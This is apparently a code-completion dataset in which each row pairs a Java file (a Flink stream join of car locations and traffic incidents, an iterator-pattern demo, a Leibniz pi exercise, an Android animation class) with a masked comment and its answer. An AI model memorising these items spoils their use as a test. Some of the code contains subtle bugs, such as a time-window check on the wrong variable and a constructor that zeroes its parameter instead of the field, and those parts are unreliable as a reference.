.withTimestampAssigner((element, recordTimestamp) -> element.timestamp));
DataStream<TrafficIncidentEvent> trafficIncidentStream = env.fromElements(
// 10 一直没动,id=0 应该是可信的
new TrafficIncidentEvent(0, 0L, Lists.newArrayList(10)),
// 11 动了,所以不可信
new TrafficIncidentEvent(1, 1L, Lists.newArrayList(10, 11)),
// 10 一直没动,12 只有一条记录,所以也认为没动。 id=2 应该是可信的
new TrafficIncidentEvent(2, 2L, Lists.newArrayList(10, 12)),
// 11 动了,所以不可信
new TrafficIncidentEvent(3, 3L, Lists.newArrayList(10, 11, 12)),
// 13 动了,所以不可信
new TrafficIncidentEvent(4, 4L, Lists.newArrayList(13)),
// 10 没动, 14 没上报,相当于没动,也认为可信。
new TrafficIncidentEvent(5, 5L, Lists.newArrayList(10, 14))
).assignTimestampsAndWatermarks(WatermarkStrategy.<TrafficIncidentEvent>forBoundedOutOfOrderness(Duration.ofMillis(10))
.withTimestampAssigner((ctx) -> (element, recordTimestamp) -> element.timestamp));
KeyedStream<Tuple3<Integer, Long, Integer>, Integer> splitStreamB =
trafficIncidentStream.flatMap(new FlatMapFunction<TrafficIncidentEvent, Tuple3<Integer, Long, Integer>>() {
@Override
public void flatMap(TrafficIncidentEvent event, Collector<Tuple3<Integer, Long, Integer>> out) {
for (int carId : event.carIds) {
out.collect(Tuple3.of(event.id, event.timestamp, carId));
}
}
}).keyBy((KeySelector<Tuple3<Integer, Long, Integer>, Integer>) value -> value.f2);
SingleOutputStreamOperator<Tuple2<Integer, Boolean>> trafficResultOfAllCars =
carLocationStream.keyBy((KeySelector<CarLocationEvent, Integer>) value -> value.carId)
.connect(splitStreamB)
.process(new CarJoinFunction());
/*
* (0,true)
* (1,true)
* trafficIncident 1 发现 car 11 位置变了
* (1,false)
* (2,true)
* (2,true)
* (3,true)
* (3,true)
* trafficIncident 3 发现 car 11 位置变了
* (3,false)
* trafficIncident 4 发现 car 13 位置变了
* (4,false)
* (5,true)
* (5,true)
*/
// trafficResultOfAllCars.print();
trafficResultOfAllCars.keyBy(new KeySelector<Tuple2<Integer, Boolean>, Integer>() {
@Override
public Integer getKey(Tuple2<Integer, Boolean> value) throws Exception {
return value.f0;
}
}).process(new KeyedProcessFunction<Integer, Tuple2<Integer, Boolean>, Tuple2<Integer, Boolean>>() {
private transient ValueState<Boolean> result;
@Override
public void open(Configuration parameters) throws Exception {
super.open(parameters);
result = getRuntimeContext().getState(
new ValueStateDescriptor<>("result", Boolean.class));
}
@Override
public void processElement(Tuple2<Integer, Boolean> value, Context ctx, Collector<Tuple2<Integer, Boolean>> out) throws Exception {
Boolean oldResult = result.value();
if (oldResult == null) {
result.update(value.f1);
out.collect(value);
return;
}
// 新的结果是可信的,则不更新最终结果
if (value.f1) {
return;
}
// 新的结果不可信,且老结果可信,则更新结果
if (oldResult) {
result.update(value.f1);
out.collect(value);
}
// 新的结果不可信,且老结果不可信,则不更新结果
// TODO 需要设计定时器 或 其他思路,清理掉 state ,保证不会残留。
// TODO 目前结果可能会输出两次,先输出可信,过一会输出不可信,是否需要过滤掉第一次输出?
// 如果需要过滤,也需要定时器,类似等待的操作,等待交通事故的所有车辆都反馈完结果后,再输出结果。
// 或者 每次事故映射一个 car 的 count 数,等待 count 数到齐以后,再向下游输出结果。
}
}).print();
env.execute();
}
private static class CarJoinFunction extends
CoProcessFunction<CarLocationEvent, Tuple3<Integer, Long, Integer>, Tuple2<Integer, Boolean>> {
// 注:因为时间戳做了 map 的key,所以同一个 车 同一毫秒只能有一个 位置 或 一个 事故,如果有多个会被覆盖。
// 如果要考虑同一时间戳多个 event 的情况,需要将 Map 的 value 变为 List。
private transient MapState<Long, CarLocationEvent> carLocationBuffer;
private transient MapState<Long, Tuple3<Integer, Long, Integer>> trafficIncidentBuffer;
// 表示 事故 前 2 s 和 后 1 s ,判断这三秒期间,车辆位置有没有改变。这两个参数可以根据需求调整。
private final int lowerBound = 2000;
private final int upperBound = 1000;
@Override
public void open(Configuration parameters) {
carLocationBuffer = getRuntimeContext().getMapState(
new MapStateDescriptor<>("carLocationBuffer", Long.class, CarLocationEvent.class));
trafficIncidentBuffer = getRuntimeContext().getMapState(
new MapStateDescriptor<>("trafficIncidentBuffer",
Types.LONG, Types.TUPLE(Types.INT, Types.INT, Types.INT)));
}
@Override
public void processElement1(CarLocationEvent event, Context ctx, Collector<Tuple2<Integer, Boolean>> out) throws Exception {
carLocationBuffer.put(event.timestamp, event);
// 车辆位置 应该在 3 s 以后被清理,所以定义一个 3 s 以后触发的定时器
ctx.timerService().registerEventTimeTimer(event.timestamp + lowerBound + upperBound);
}
@Override
public void processElement2(Tuple3<Integer, Long, Integer> event, Context ctx, Collector<Tuple2<Integer, Boolean>> out) throws Exception {
long timestamp = event.f1;
trafficIncidentBuffer.put(timestamp, event);
// 当前车辆 2 s 前的位置信息已经到了,需要在等 1 s,可能还会等到 一些车辆位置信息。所以定义一个 1 s 以后触发的定时器
ctx.timerService().registerEventTimeTimer(timestamp + upperBound);
}
@Override
public void onTimer(long timestamp, OnTimerContext ctx, Collector<Tuple2<Integer, Boolean>> out) throws Exception {
// 定时器需要做两个事情:
// 1. 清理 3 s 以前的车辆位置信息, 事故流不可能关联这些位置信息
carLocationBuffer.remove(timestamp - lowerBound - upperBound);
// 2. 查看是否有 故障事件已经等了 1s 了
Tuple3<Integer, Long, Integer> trafficIncident = trafficIncidentBuffer.get(timestamp - upperBound);
if (trafficIncident == null) {
return;
}
// 故障事件 删除掉,并检查 是否可信
trafficIncidentBuffer.remove(timestamp - upperBound);
// 把 3s 内的当前车辆位置遍历一遍,看是否有移动
Integer lastLocation = null;
Long timestampOfTrafficIncident = trafficIncident.f1;
for (Map.Entry<Long, CarLocationEvent> entry : carLocationBuffer.entries()) {
Long timestampOfCarLocation = entry.getKey();
if (timestamp < timestampOfTrafficIncident - lowerBound || timestamp > timestampOfTrafficIncident + upperBound) {
// 不在事故区间 3s 以内的位置,直接 过滤
continue;
}
CarLocationEvent carLocationEvent = entry.getValue();
if (lastLocation == null) {
// 第一次更新位置
lastLocation = carLocationEvent.location;
continue;
}
if (!Objects.equals(carLocationEvent.location, lastLocation)) {
System.out.println(String.format("trafficIncident %s 发现 car %s 位置变了", trafficIncident.f0, carLocationEvent.carId));
// 位置变了,告诉下游结果
out.collect(Tuple2.of(trafficIncident.f0, false));
return;
}
// 位置没变,继续遍历下一个 位置
}
// 所有位置遍历完了,位置没变
// 可能多个位置确实没变,可能只有一个位置信息,可能一个位置信息也没有。如果后面两者需要特殊处理,可以修改上述 for 循环。
out.collect(Tuple2.of(trafficIncident.f0, true));
}
}
// Stream A
public static class CarLocationEvent {
// event id(主键或 唯一 id)
private Integer id;
private Long timestamp;
private Integer carId;
private Integer location;
public CarLocationEvent() {
}
public CarLocationEvent(Integer id, Long timestamp, Integer carId, Integer location) {
this.id = id;
this.timestamp = timestamp;
this.carId = carId;
this.location = location;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public Long getTimestamp() {
return timestamp;
}
public void setTimestamp(Long timestamp) {
this.timestamp = timestamp;
}
public Integer getCarId() {
return carId;
}
public void setCarId(Integer carId) {
this.carId = carId;
}
public Integer getLocation() {
return location;
}
public void setLocation(Integer location) {
this.location = location;
}
}
// Stream B
public static class TrafficIncidentEvent {
// event id(主键或 唯一 id)
private Integer id;
private Long timestamp;
private List<Integer> carIds;
public TrafficIncidentEvent() {
}
public TrafficIncidentEvent(Integer id, Long timestamp, List<Integer> carIds) {
this.id = id;
this.timestamp = timestamp;
this.carIds = carIds;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public Long getTimestamp() {
return timestamp;
}
public void setTimestamp(Long timestamp) {
this.timestamp = timestamp;
}
public List<Integer> getCarIds() {
return carIds;
}
public void setCarIds(List<Integer> carIds) {
this.carIds = carIds;
}
}
}
| 1996fanrui/fanrui-learning | module-flink/src/main/java/com/dream/flink/connect/CarTrafficIncidentJoin.java | 3,357 | // 10 一直没动 | line_comment | zh-cn | package com.dream.flink.connect;
import com.google.common.collect.Lists;
import org.apache.flink.api.common.eventtime.WatermarkStrategy;
import org.apache.flink.api.common.functions.FlatMapFunction;
import org.apache.flink.api.common.state.MapState;
import org.apache.flink.api.common.state.MapStateDescriptor;
import org.apache.flink.api.common.state.ValueState;
import org.apache.flink.api.common.state.ValueStateDescriptor;
import org.apache.flink.api.common.typeinfo.Types;
import org.apache.flink.api.java.functions.KeySelector;
import org.apache.flink.api.java.tuple.Tuple2;
import org.apache.flink.api.java.tuple.Tuple3;
import org.apache.flink.configuration.Configuration;
import org.apache.flink.streaming.api.datastream.DataStream;
import org.apache.flink.streaming.api.datastream.KeyedStream;
import org.apache.flink.streaming.api.datastream.SingleOutputStreamOperator;
import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment;
import org.apache.flink.streaming.api.functions.KeyedProcessFunction;
import org.apache.flink.streaming.api.functions.co.CoProcessFunction;
import org.apache.flink.util.Collector;
import java.time.Duration;
import java.util.List;
import java.util.Map;
import java.util.Objects;
public class CarTrafficIncidentJoin {
public static void main(String[] args) throws Exception {
StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
env.setParallelism(1);
DataStream<CarLocationEvent> carLocationStream = env.fromElements(
// 10 <SUF>
// 11 在动
// 12 只有一条记录,认为没动
// 13 在动
new CarLocationEvent(0, 0L, 10, 100),
new CarLocationEvent(1, 0L, 11, 100),
new CarLocationEvent(2, 1000L, 10, 100),
new CarLocationEvent(3, 1000L, 11, 101),
new CarLocationEvent(4, 2000L, 12, 103),
new CarLocationEvent(5, 2000L, 11, 102),
new CarLocationEvent(6, 3000L, 11, 100),
new CarLocationEvent(7, 3000L, 13, 105),
new CarLocationEvent(8, 4000L, 10, 100),
new CarLocationEvent(9, 4000L, 13, 104)
// ).assignTimestampsAndWatermarks(WatermarkStrategy.<CarLocationEvent>forMonotonousTimestamps()
).assignTimestampsAndWatermarks(WatermarkStrategy.<CarLocationEvent>forBoundedOutOfOrderness(Duration.ofMillis(10))
.withTimestampAssigner((element, recordTimestamp) -> element.timestamp));
DataStream<TrafficIncidentEvent> trafficIncidentStream = env.fromElements(
// 10 一直没动,id=0 应该是可信的
new TrafficIncidentEvent(0, 0L, Lists.newArrayList(10)),
// 11 动了,所以不可信
new TrafficIncidentEvent(1, 1L, Lists.newArrayList(10, 11)),
// 10 一直没动,12 只有一条记录,所以也认为没动。 id=2 应该是可信的
new TrafficIncidentEvent(2, 2L, Lists.newArrayList(10, 12)),
// 11 动了,所以不可信
new TrafficIncidentEvent(3, 3L, Lists.newArrayList(10, 11, 12)),
// 13 动了,所以不可信
new TrafficIncidentEvent(4, 4L, Lists.newArrayList(13)),
// 10 没动, 14 没上报,相当于没动,也认为可信。
new TrafficIncidentEvent(5, 5L, Lists.newArrayList(10, 14))
).assignTimestampsAndWatermarks(WatermarkStrategy.<TrafficIncidentEvent>forBoundedOutOfOrderness(Duration.ofMillis(10))
.withTimestampAssigner((ctx) -> (element, recordTimestamp) -> element.timestamp));
KeyedStream<Tuple3<Integer, Long, Integer>, Integer> splitStreamB =
trafficIncidentStream.flatMap(new FlatMapFunction<TrafficIncidentEvent, Tuple3<Integer, Long, Integer>>() {
@Override
public void flatMap(TrafficIncidentEvent event, Collector<Tuple3<Integer, Long, Integer>> out) {
for (int carId : event.carIds) {
out.collect(Tuple3.of(event.id, event.timestamp, carId));
}
}
}).keyBy((KeySelector<Tuple3<Integer, Long, Integer>, Integer>) value -> value.f2);
SingleOutputStreamOperator<Tuple2<Integer, Boolean>> trafficResultOfAllCars =
carLocationStream.keyBy((KeySelector<CarLocationEvent, Integer>) value -> value.carId)
.connect(splitStreamB)
.process(new CarJoinFunction());
/*
* (0,true)
* (1,true)
* trafficIncident 1 发现 car 11 位置变了
* (1,false)
* (2,true)
* (2,true)
* (3,true)
* (3,true)
* trafficIncident 3 发现 car 11 位置变了
* (3,false)
* trafficIncident 4 发现 car 13 位置变了
* (4,false)
* (5,true)
* (5,true)
*/
// trafficResultOfAllCars.print();
trafficResultOfAllCars.keyBy(new KeySelector<Tuple2<Integer, Boolean>, Integer>() {
@Override
public Integer getKey(Tuple2<Integer, Boolean> value) throws Exception {
return value.f0;
}
}).process(new KeyedProcessFunction<Integer, Tuple2<Integer, Boolean>, Tuple2<Integer, Boolean>>() {
private transient ValueState<Boolean> result;
@Override
public void open(Configuration parameters) throws Exception {
super.open(parameters);
result = getRuntimeContext().getState(
new ValueStateDescriptor<>("result", Boolean.class));
}
@Override
public void processElement(Tuple2<Integer, Boolean> value, Context ctx, Collector<Tuple2<Integer, Boolean>> out) throws Exception {
Boolean oldResult = result.value();
if (oldResult == null) {
result.update(value.f1);
out.collect(value);
return;
}
// 新的结果是可信的,则不更新最终结果
if (value.f1) {
return;
}
// 新的结果不可信,且老结果可信,则更新结果
if (oldResult) {
result.update(value.f1);
out.collect(value);
}
// 新的结果不可信,且老结果不可信,则不更新结果
// TODO 需要设计定时器 或 其他思路,清理掉 state ,保证不会残留。
// TODO 目前结果可能会输出两次,先输出可信,过一会输出不可信,是否需要过滤掉第一次输出?
// 如果需要过滤,也需要定时器,类似等待的操作,等待交通事故的所有车辆都反馈完结果后,再输出结果。
// 或者 每次事故映射一个 car 的 count 数,等待 count 数到齐以后,再向下游输出结果。
}
}).print();
env.execute();
}
private static class CarJoinFunction extends
CoProcessFunction<CarLocationEvent, Tuple3<Integer, Long, Integer>, Tuple2<Integer, Boolean>> {
// 注:因为时间戳做了 map 的key,所以同一个 车 同一毫秒只能有一个 位置 或 一个 事故,如果有多个会被覆盖。
// 如果要考虑同一时间戳多个 event 的情况,需要将 Map 的 value 变为 List。
private transient MapState<Long, CarLocationEvent> carLocationBuffer;
private transient MapState<Long, Tuple3<Integer, Long, Integer>> trafficIncidentBuffer;
// 表示 事故 前 2 s 和 后 1 s ,判断这三秒期间,车辆位置有没有改变。这两个参数可以根据需求调整。
private final int lowerBound = 2000;
private final int upperBound = 1000;
@Override
public void open(Configuration parameters) {
carLocationBuffer = getRuntimeContext().getMapState(
new MapStateDescriptor<>("carLocationBuffer", Long.class, CarLocationEvent.class));
trafficIncidentBuffer = getRuntimeContext().getMapState(
new MapStateDescriptor<>("trafficIncidentBuffer",
Types.LONG, Types.TUPLE(Types.INT, Types.INT, Types.INT)));
}
@Override
public void processElement1(CarLocationEvent event, Context ctx, Collector<Tuple2<Integer, Boolean>> out) throws Exception {
carLocationBuffer.put(event.timestamp, event);
// 车辆位置 应该在 3 s 以后被清理,所以定义一个 3 s 以后触发的定时器
ctx.timerService().registerEventTimeTimer(event.timestamp + lowerBound + upperBound);
}
@Override
public void processElement2(Tuple3<Integer, Long, Integer> event, Context ctx, Collector<Tuple2<Integer, Boolean>> out) throws Exception {
long timestamp = event.f1;
trafficIncidentBuffer.put(timestamp, event);
// 当前车辆 2 s 前的位置信息已经到了,需要在等 1 s,可能还会等到 一些车辆位置信息。所以定义一个 1 s 以后触发的定时器
ctx.timerService().registerEventTimeTimer(timestamp + upperBound);
}
@Override
public void onTimer(long timestamp, OnTimerContext ctx, Collector<Tuple2<Integer, Boolean>> out) throws Exception {
// 定时器需要做两个事情:
// 1. 清理 3 s 以前的车辆位置信息, 事故流不可能关联这些位置信息
carLocationBuffer.remove(timestamp - lowerBound - upperBound);
// 2. 查看是否有 故障事件已经等了 1s 了
Tuple3<Integer, Long, Integer> trafficIncident = trafficIncidentBuffer.get(timestamp - upperBound);
if (trafficIncident == null) {
return;
}
// 故障事件 删除掉,并检查 是否可信
trafficIncidentBuffer.remove(timestamp - upperBound);
// 把 3s 内的当前车辆位置遍历一遍,看是否有移动
Integer lastLocation = null;
Long timestampOfTrafficIncident = trafficIncident.f1;
for (Map.Entry<Long, CarLocationEvent> entry : carLocationBuffer.entries()) {
Long timestampOfCarLocation = entry.getKey();
if (timestamp < timestampOfTrafficIncident - lowerBound || timestamp > timestampOfTrafficIncident + upperBound) {
// 不在事故区间 3s 以内的位置,直接 过滤
continue;
}
CarLocationEvent carLocationEvent = entry.getValue();
if (lastLocation == null) {
// 第一次更新位置
lastLocation = carLocationEvent.location;
continue;
}
if (!Objects.equals(carLocationEvent.location, lastLocation)) {
System.out.println(String.format("trafficIncident %s 发现 car %s 位置变了", trafficIncident.f0, carLocationEvent.carId));
// 位置变了,告诉下游结果
out.collect(Tuple2.of(trafficIncident.f0, false));
return;
}
// 位置没变,继续遍历下一个 位置
}
// 所有位置遍历完了,位置没变
// 可能多个位置确实没变,可能只有一个位置信息,可能一个位置信息也没有。如果后面两者需要特殊处理,可以修改上述 for 循环。
out.collect(Tuple2.of(trafficIncident.f0, true));
}
}
// Stream A
public static class CarLocationEvent {
// event id(主键或 唯一 id)
private Integer id;
private Long timestamp;
private Integer carId;
private Integer location;
public CarLocationEvent() {
}
public CarLocationEvent(Integer id, Long timestamp, Integer carId, Integer location) {
this.id = id;
this.timestamp = timestamp;
this.carId = carId;
this.location = location;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public Long getTimestamp() {
return timestamp;
}
public void setTimestamp(Long timestamp) {
this.timestamp = timestamp;
}
public Integer getCarId() {
return carId;
}
public void setCarId(Integer carId) {
this.carId = carId;
}
public Integer getLocation() {
return location;
}
public void setLocation(Integer location) {
this.location = location;
}
}
// Stream B
public static class TrafficIncidentEvent {
// event id(主键或 唯一 id)
private Integer id;
private Long timestamp;
private List<Integer> carIds;
public TrafficIncidentEvent() {
}
public TrafficIncidentEvent(Integer id, Long timestamp, List<Integer> carIds) {
this.id = id;
this.timestamp = timestamp;
this.carIds = carIds;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public Long getTimestamp() {
return timestamp;
}
public void setTimestamp(Long timestamp) {
this.timestamp = timestamp;
}
public List<Integer> getCarIds() {
return carIds;
}
public void setCarIds(List<Integer> carIds) {
this.carIds = carIds;
}
}
}
| 0 |
25893_5 | package com.liebrother.designpatterns.iterator;
import java.util.Iterator;
public class IteratorTest {
public static void main(String[] args) {
NetEaseMusic2 netEaseMusic2 = new NetEaseMusic2();
netEaseMusic2.listenToMusicByLoop();
}
}
/**
* 网易云音乐
*/
class NetEaseMusic2{
private IList2 songList;
public NetEaseMusic2() {
songList = new SongList2(3);
songList.add(new Song("让我留在你身边", "陈奕迅"));
songList.add(new Song("你曾是少年", "SHE"));
songList.add(new Song("Perfect", "Ed Sheeran"));
}
/**
* 列表循环
*/
public void listenToMusicByLoop() {
IIterator iterator = songList.iterator();
while (iterator.hasNext()) {
System.out.println("听歌:" + ((ISong)iterator.next()).getSongInfo());
}
}
}
/**
* 容器接口
*/
interface IList2 {
IIterator iterator();
void add(Object object);
Object get(int index);
int size();
}
/**
* 歌单
*/
class SongList2 implements IList2 {
private ISong[] songs;
private int index;
private int size;
public SongList2(int size) {
songs = new ISong[size];
index = 0;
size = 0;
}
@Override
public IIterator iterator() {
return new IteratorImpl(this);
}
@Override
public void add(Object object) {
songs[index++] = (ISong) object;
size ++;
}
@Override
public Object get(int index) {
if (index < size) {
return songs[index];
}
return null;
}
@Override
public int size() {
return size;
}
}
/**
* 迭代器
*/
interface IIterator {
Object next();
boolean hasNext();
}
/**
* 迭代器实现类
*/
class IteratorImpl implements IIterator {
private IList2 list;
private int index;
public IteratorImpl(IList2 list) {
this.list = list;
this.index = 0;
}
@Override
public Object next() {
return list.get(index++);
}
@Override
public boolean hasNext() {
if (index < list.size()) {
return true;
}
return false;
}
}
| 1CSH1/DesignPatterns | src/com/liebrother/designpatterns/iterator/IteratorTest.java | 602 | /**
* 迭代器实现类
*/ | block_comment | zh-cn | package com.liebrother.designpatterns.iterator;
import java.util.Iterator;
public class IteratorTest {
public static void main(String[] args) {
NetEaseMusic2 netEaseMusic2 = new NetEaseMusic2();
netEaseMusic2.listenToMusicByLoop();
}
}
/**
* 网易云音乐
*/
class NetEaseMusic2{
private IList2 songList;
public NetEaseMusic2() {
songList = new SongList2(3);
songList.add(new Song("让我留在你身边", "陈奕迅"));
songList.add(new Song("你曾是少年", "SHE"));
songList.add(new Song("Perfect", "Ed Sheeran"));
}
/**
* 列表循环
*/
public void listenToMusicByLoop() {
IIterator iterator = songList.iterator();
while (iterator.hasNext()) {
System.out.println("听歌:" + ((ISong)iterator.next()).getSongInfo());
}
}
}
/**
* 容器接口
*/
interface IList2 {
IIterator iterator();
void add(Object object);
Object get(int index);
int size();
}
/**
* 歌单
*/
class SongList2 implements IList2 {
private ISong[] songs;
private int index;
private int size;
public SongList2(int size) {
songs = new ISong[size];
index = 0;
size = 0;
}
@Override
public IIterator iterator() {
return new IteratorImpl(this);
}
@Override
public void add(Object object) {
songs[index++] = (ISong) object;
size ++;
}
@Override
public Object get(int index) {
if (index < size) {
return songs[index];
}
return null;
}
@Override
public int size() {
return size;
}
}
/**
* 迭代器
*/
interface IIterator {
Object next();
boolean hasNext();
}
/**
* 迭代器 <SUF>*/
class IteratorImpl implements IIterator {
private IList2 list;
private int index;
public IteratorImpl(IList2 list) {
this.list = list;
this.index = 0;
}
@Override
public Object next() {
return list.get(index++);
}
@Override
public boolean hasNext() {
if (index < list.size()) {
return true;
}
return false;
}
}
| 0 |
66172_5 |
// 历史上有许多计算圆周率pai的公式,其中,格雷戈里和莱布尼茨发现了下面的公式:
// pai = 4*(1-1/3+1/5-1/7 ....)
// 参见【图1.png】
// 这个公式简单而优美,但美中不足,它收敛的太慢了。
// 如果我们四舍五入保留它的两位小数,那么:
// 累积1项是:4.00
// 累积2项是:2.67
// 累积3项是:3.47
// 。。。
// 请你写出它累积100项是多少(四舍五入到小数后两位)。
// 注意:只填写该小数本身,不要填写任何多余的说明或解释文字。
public class Main_2 {
public static void main(String[] args) {
double ans = 0;
for (int i = 0; i < 100; i++) {
ans += Math.pow(-1, i) * (1.0 / (2 * i + 1));
// 这里计算公式是 ((-1)^i)
// ______________————————
// _______________2*i+1
}
ans *= 4;
// 结果已经自然四舍五入了
System.out.printf("%.2f", ans); // 3.13
// System.out.println(ans); // 3.1315929035585537
}
}
| 1m188/algorithm | 蓝桥杯/第5届/个人赛省赛/Java大学A组/Main_2.java | 399 | // 累积1项是:4.00 | line_comment | zh-cn |
// 历史上有许多计算圆周率pai的公式,其中,格雷戈里和莱布尼茨发现了下面的公式:
// pai = 4*(1-1/3+1/5-1/7 ....)
// 参见【图1.png】
// 这个公式简单而优美,但美中不足,它收敛的太慢了。
// 如果我们四舍五入保留它的两位小数,那么:
// 累积 <SUF>
// 累积2项是:2.67
// 累积3项是:3.47
// 。。。
// 请你写出它累积100项是多少(四舍五入到小数后两位)。
// 注意:只填写该小数本身,不要填写任何多余的说明或解释文字。
public class Main_2 {
public static void main(String[] args) {
double ans = 0;
for (int i = 0; i < 100; i++) {
ans += Math.pow(-1, i) * (1.0 / (2 * i + 1));
// 这里计算公式是 ((-1)^i)
// ______________————————
// _______________2*i+1
}
ans *= 4;
// 结果已经自然四舍五入了
System.out.printf("%.2f", ans); // 3.13
// System.out.println(ans); // 3.1315929035585537
}
}
| 0 |
65425_25 | package com.lvrenyang.pathbutton;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.Animation.AnimationListener;
import android.view.animation.AnticipateInterpolator;
import android.view.animation.OvershootInterpolator;
import android.view.animation.RotateAnimation;
import android.view.animation.TranslateAnimation;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
public class myAnimations {
public final int R ; // 半徑
public static byte
RIGHTBOTTOM=1,
CENTERBOTTOM=2,
LEFTBOTTOM=3,
LEFTCENTER=4,
LEFTTOP=5,
CENTERTOP=6,
RIGHTTOP=7,
RIGHTCENTER=8;
private int pc; //位置代號
private ViewGroup clayout; //父laoyout
private final int amount; //有幾多個按鈕
private double fullangle=180.0;//在幾大嘅角度內排佈
private byte xOri=1,yOri=1; //x、y值嘅方向,即系向上還是向下
/**
* 構造函數
* @param comlayout 包裹彈出按鈕嘅layout
* @param poscode 位置代號,分別對應RIGHTBOTTOM、CENTERBOTTOM、LEFTBOTTOM、LEFTCENTER、LEFTTOP、CENTERTOP、RIGHTTOP、RIGHTCENTER
* @param radius 半徑
*/
public myAnimations(ViewGroup comlayout,int poscode,int radius){
this.pc=poscode;
this.clayout=comlayout;
this.amount=clayout.getChildCount();
this.R=radius;
if(poscode==RIGHTBOTTOM){ //右下角
fullangle=90;
xOri=-1;yOri=-1;
}else if(poscode==CENTERBOTTOM){//中下
fullangle=180;
xOri=-1;yOri=-1;
}else if(poscode==LEFTBOTTOM){ //左下角
fullangle=90;
xOri=1;yOri=-1;
}else if(poscode==LEFTCENTER){ //左中
fullangle=180;
xOri=1;yOri=-1;
}else if(poscode==LEFTTOP){ //左上角
fullangle=90;
xOri=1;yOri=1;
}else if(poscode==CENTERTOP){ //中上
fullangle=180;
xOri=-1;yOri=1;
}else if(poscode==RIGHTTOP){ //右上角
fullangle=90;
xOri=-1;yOri=1;
}else if(poscode==RIGHTCENTER){ //右中
fullangle=180;
xOri=-1;yOri=-1;
}
}
/**
* 彈幾個按鈕出嚟
* @param durationMillis 用幾多時間
*/
public void startAnimationsIn(int durationMillis) {
/*
List<TouchObject> preTouch = preTouch(clayout);
composerLayout layout = (composerLayout) clayout;
if (!layout.isInit())
layout.initTouches(preTouch);
layout.setShow(true);
*/
for (int i = 0; i < clayout.getChildCount(); i++) {
final LinearLayout inoutimagebutton = (LinearLayout) clayout.getChildAt(i);
double offangle=fullangle/(amount-1);
//double marginTop = Math.sin(offangle * i * Math.PI / 180) * R;
//double marginRight = Math.cos(offangle * i * Math.PI / 180) * R;
final double deltaY,deltaX;
if(pc==LEFTCENTER || pc==RIGHTCENTER){
deltaX = Math.sin(offangle * i * Math.PI / 180) * R;
deltaY = Math.cos(offangle * i * Math.PI / 180) * R;
}else{
deltaY = Math.sin(offangle * i * Math.PI / 180) * R;
deltaX = Math.cos(offangle * i * Math.PI / 180) * R;
}
inoutimagebutton.setVisibility(View.VISIBLE);
Animation animation = new TranslateAnimation(0, (float)(xOri* deltaX), 0, (float)(yOri* deltaY));
/*
* 如果呢句為true,因為佢實際after嘅位置係從物理位置計起,最後因為物理位置變化咗而長咗一倍;
* (可以將animation嘅位置視為影子位置。開始先喐咗影子位置去x,物理位置仍喺0。呢個時候animation結束,就將物理位置移到x。由於set咗fillafter,所以影子對於物理位置又移多x,所以影子位置會變咗2x。所以呢度一定唔可以true嘅)
* 但如果係false嘅話,估計因為animationEnd同after有少少時間差,而出現最後閃一閃,影子稍微喺2x嘅位置出現一瞬間又去返x。其實影響都唔算大,你部機可能睇唔倒添。但好似有少少掃灰塵入地毯底嘅感覺,問題並冇解決。
* (只有彈出嘅時候有呢個問題,因為收埋嘅時候直接設咗visible做gone)
animation.setFillAfter(true);
*/
animation.setFillEnabled(true);//加咗呢句嘢,最後就唔會閃一閃。(先用animation移影子位置、再用layoutParams喐物理位置~呢種方法就有呢個同唔同步嘅問題,除非你settimeout咁去改物理位置。例如一共要移x距離,用1秒去完成,每隔0.1秒就將佢物理位置改變x/10。)
animation.setDuration(durationMillis);
animation.setStartOffset((i * 100) / (-1 + clayout.getChildCount()));
animation.setInterpolator(new OvershootInterpolator(2F));
//喐
inoutimagebutton.startAnimation(animation);
//喐完就改埋嗰啲button嘅實際位置(animation只系外表去咗第度,實際位置依然喺返舊時嗰度)
//因為animation係異步嘅,如果直接start完animate就set按鈕嘅位置,就有可能佢未喐完就飛咗過去
animation.setAnimationListener(new AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationRepeat(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationEnd(Animation animation) {
// TODO Auto-generated method stub
int l=inoutimagebutton.getLeft();
int t=inoutimagebutton.getTop();
RelativeLayout.LayoutParams lps = new RelativeLayout.LayoutParams(
LinearLayout.LayoutParams.WRAP_CONTENT,
LinearLayout.LayoutParams.WRAP_CONTENT
);
lps.leftMargin=(int)(l+xOri* deltaX);
lps.topMargin =(int)(t+yOri* deltaY);
//System.out.println("oldleft: "+l+" leftmargin: "+lps.leftMargin);
//System.out.println("oldtop: "+t+" topmargin: "+lps.topMargin);
inoutimagebutton.setLayoutParams(lps);
}
});
}
}
/**
* 收埋幾個按鈕入去
* @param durationMillis 用幾多時間
*/
public void startAnimationsOut( int durationMillis) {
for (int i = 0; i < clayout.getChildCount(); i++) {
final LinearLayout inoutimagebutton = (LinearLayout) clayout.getChildAt(i);
double offangle=fullangle/(amount-1);
final double deltaY,deltaX;
if(pc==LEFTCENTER || pc==RIGHTCENTER){
deltaX = Math.sin(offangle * i * Math.PI / 180) * R;
deltaY = Math.cos(offangle * i * Math.PI / 180) * R;
}else{
deltaY = Math.sin(offangle * i * Math.PI / 180) * R;
deltaX = Math.cos(offangle * i * Math.PI / 180) * R;
}
Animation animation = new TranslateAnimation(0,-(float)(xOri*deltaX), 0, -(float)(yOri*deltaY));
//animation.setFillAfter(true);
animation.setDuration(durationMillis);
animation.setStartOffset(((clayout.getChildCount() - i) * 100) / (-1 + clayout.getChildCount()));// 顺序倒一下比较舒服
animation.setInterpolator(new AnticipateInterpolator(2F));
//喐
inoutimagebutton.startAnimation(animation);
animation.setAnimationListener(new AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationRepeat(Animation animation) {
// TODO Auto-generated method stub
}
@Override
public void onAnimationEnd(Animation animation) {
// TODO Auto-generated method stub
int l=inoutimagebutton.getLeft();
int t=inoutimagebutton.getTop();
RelativeLayout.LayoutParams lps = new RelativeLayout.LayoutParams(
LinearLayout.LayoutParams.WRAP_CONTENT,
